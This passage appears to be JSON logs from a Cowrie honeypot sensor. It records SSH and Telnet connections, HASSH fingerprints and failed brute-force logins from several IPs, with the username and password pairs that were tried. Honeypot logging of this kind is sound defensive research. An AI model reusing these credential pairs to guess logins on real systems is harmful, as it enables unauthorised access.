0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:30.236912Z","src_ip":"45.156.87.253","session":"5f507140f169","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zahra","password":"12345678","message":"login attempt [zahra/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:30.479922Z","src_ip":"45.156.87.253","session":"5f507140f169","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:31.563226Z","src_ip":"45.156.87.253","session":"5f507140f169","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":52252,"dst_ip":"10.17.0.5","dst_port":22,"session":"358cb0f5c845","protocol":"ssh","message":"New connection: 45.156.87.253:52252 (10.17.0.5:22) [session: 358cb0f5c845]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:33.493734Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:33.496403Z","src_ip":"45.156.87.253","session":"358cb0f5c845","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:33.577328Z","src_ip":"45.156.87.253","session":"358cb0f5c845","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chris","password":"123456","message":"login attempt [chris/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:33.821477Z","src_ip":"45.156.87.253","session":"358cb0f5c845","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:35.066529Z","src_ip":"45.156.87.253","session":"358cb0f5c845","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.78117871284485,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:35.694903Z","src_ip":"14.47.200.242","session":"95ac73486a95","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"14.47.200.242","src_port":40707,"dst_ip":"159.203.135.109","dst_port":23,"session":"40950e031aea","protocol":"telnet","message":"New connection: 14.47.200.242:40707 (159.203.135.109:23) [session: 40950e031aea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:35.886227Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":52258,"dst_ip":"10.17.0.5","dst_port":22,"session":"77468d8abdb7","protocol":"ssh","message":"New connection: 45.156.87.253:52258 (10.17.0.5:22) [session: 77468d8abdb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:36.779150Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:36.782981Z","src_ip":"45.156.87.253","session":"77468d8abdb7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:36.864358Z","src_ip":"45.156.87.253","session":"77468d8abdb7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git","message":"login attempt [git/git] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:37.109843Z","src_ip":"45.156.87.253","session":"77468d8abdb7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:38.194587Z","src_ip":"45.156.87.253","session":"77468d8abdb7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":37602,"dst_ip":"159.203.135.109","dst_port":22,"session":"f03a15e327f5","protocol":"ssh","message":"New connection: 103.77.242.62:37602 (159.203.135.109:22) [session: f03a15e327f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:39.609250Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:39.613134Z","src_ip":"103.77.242.62","session":"f03a15e327f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:39.851546Z","src_ip":"103.77.242.62","session":"f03a15e327f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":52040,"dst_ip":"10.17.0.5","dst_port":22,"session":"7092a7a98d04","protocol":"ssh","message":"New connection: 45.156.87.253:52040 (10.17.0.5:22) [session: 7092a7a98d04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:40.191787Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:40.199163Z","src_ip":"45.156.87.253","session":"7092a7a98d04","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:40.279838Z","src_ip":"45.156.87.253","session":"7092a7a98d04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"usuario","password":"usuario","message":"login attempt [usuario/usuario] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:40.523812Z","src_ip":"45.156.87.253","session":"7092a7a98d04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"14061981","message":"login attempt [root/14061981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:40.569741Z","src_ip":"103.77.242.62","session":"f03a15e327f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:41.609021Z","src_ip":"45.156.87.253","session":"7092a7a98d04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:41.810339Z","src_ip":"103.77.242.62","session":"f03a15e327f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":52048,"dst_ip":"10.17.0.5","dst_port":22,"session":"7cf9667a73dc","protocol":"ssh","message":"New connection: 45.156.87.253:52048 (10.17.0.5:22) [session: 7cf9667a73dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:43.566471Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:43.570858Z","src_ip":"45.156.87.253","session":"7cf9667a73dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:43.650986Z","src_ip":"45.156.87.253","session":"7cf9667a73dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ivan","password":"ivan","message":"login attempt [ivan/ivan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:43.895712Z","src_ip":"45.156.87.253","session":"7cf9667a73dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":47526,"dst_ip":"159.203.135.109","dst_port":22,"session":"60af91889f02","protocol":"ssh","message":"New connection: 176.32.39.21:47526 (159.203.135.109:22) [session: 60af91889f02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:44.447016Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:44.450916Z","src_ip":"176.32.39.21","session":"60af91889f02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:44.566235Z","src_ip":"176.32.39.21","session":"60af91889f02","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"210783","message":"login attempt [root/210783] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:44.913714Z","src_ip":"176.32.39.21","session":"60af91889f02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:45.009918Z","src_ip":"45.156.87.253","session":"7cf9667a73dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:46.031663Z","src_ip":"176.32.39.21","session":"60af91889f02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":52058,"dst_ip":"10.17.0.5","dst_port":22,"session":"e72dac3cef28","protocol":"ssh","message":"New connection: 45.156.87.253:52058 (10.17.0.5:22) [session: e72dac3cef28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:46.890603Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:46.894539Z","src_ip":"45.156.87.253","session":"e72dac3cef28","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:46.975571Z","src_ip":"45.156.87.253","session":"e72dac3cef28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bob","password":"bob","message":"login attempt [bob/bob] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:47.221505Z","src_ip":"45.156.87.253","session":"e72dac3cef28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.62.181.92","src_port":53482,"dst_ip":"10.17.0.5","dst_port":23,"session":"704f0e1de2cc","protocol":"telnet","message":"New connection: 50.62.181.92:53482 (10.17.0.5:23) [session: 704f0e1de2cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:48.202965Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:48.304800Z","src_ip":"45.156.87.253","session":"e72dac3cef28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":55944,"dst_ip":"10.17.0.5","dst_port":22,"session":"9418b1ed1bbf","protocol":"ssh","message":"New connection: 45.156.87.253:55944 (10.17.0.5:22) [session: 9418b1ed1bbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:50.333730Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:50.337621Z","src_ip":"45.156.87.253","session":"9418b1ed1bbf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:50.418967Z","src_ip":"45.156.87.253","session":"9418b1ed1bbf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"147258","message":"login attempt [root/147258] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:50.665080Z","src_ip":"45.156.87.253","session":"9418b1ed1bbf","protocol":"ssh"}
